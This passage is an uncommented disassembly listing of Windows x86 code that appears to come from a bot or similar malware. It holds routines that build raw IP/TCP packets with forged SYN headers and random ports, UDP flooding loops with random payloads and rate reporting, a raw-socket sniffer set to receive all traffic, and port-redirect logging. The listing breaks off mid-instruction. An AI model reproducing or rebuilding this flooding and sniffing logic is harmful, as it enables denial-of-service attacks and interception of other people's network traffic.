eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 2800BE7h mov [esp+48h], eax mov al, byte_4D84B9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4284AA nop call near ptr 2800BE7h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 7BBEE890h, 0B9A00242h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84B9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax call near ptr 28502B8h nop dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call near ptr 71AB2C69h nop push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F30 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80C7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80C7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446EFC lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi ; closesocket loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi ; closesocket loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: ___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte 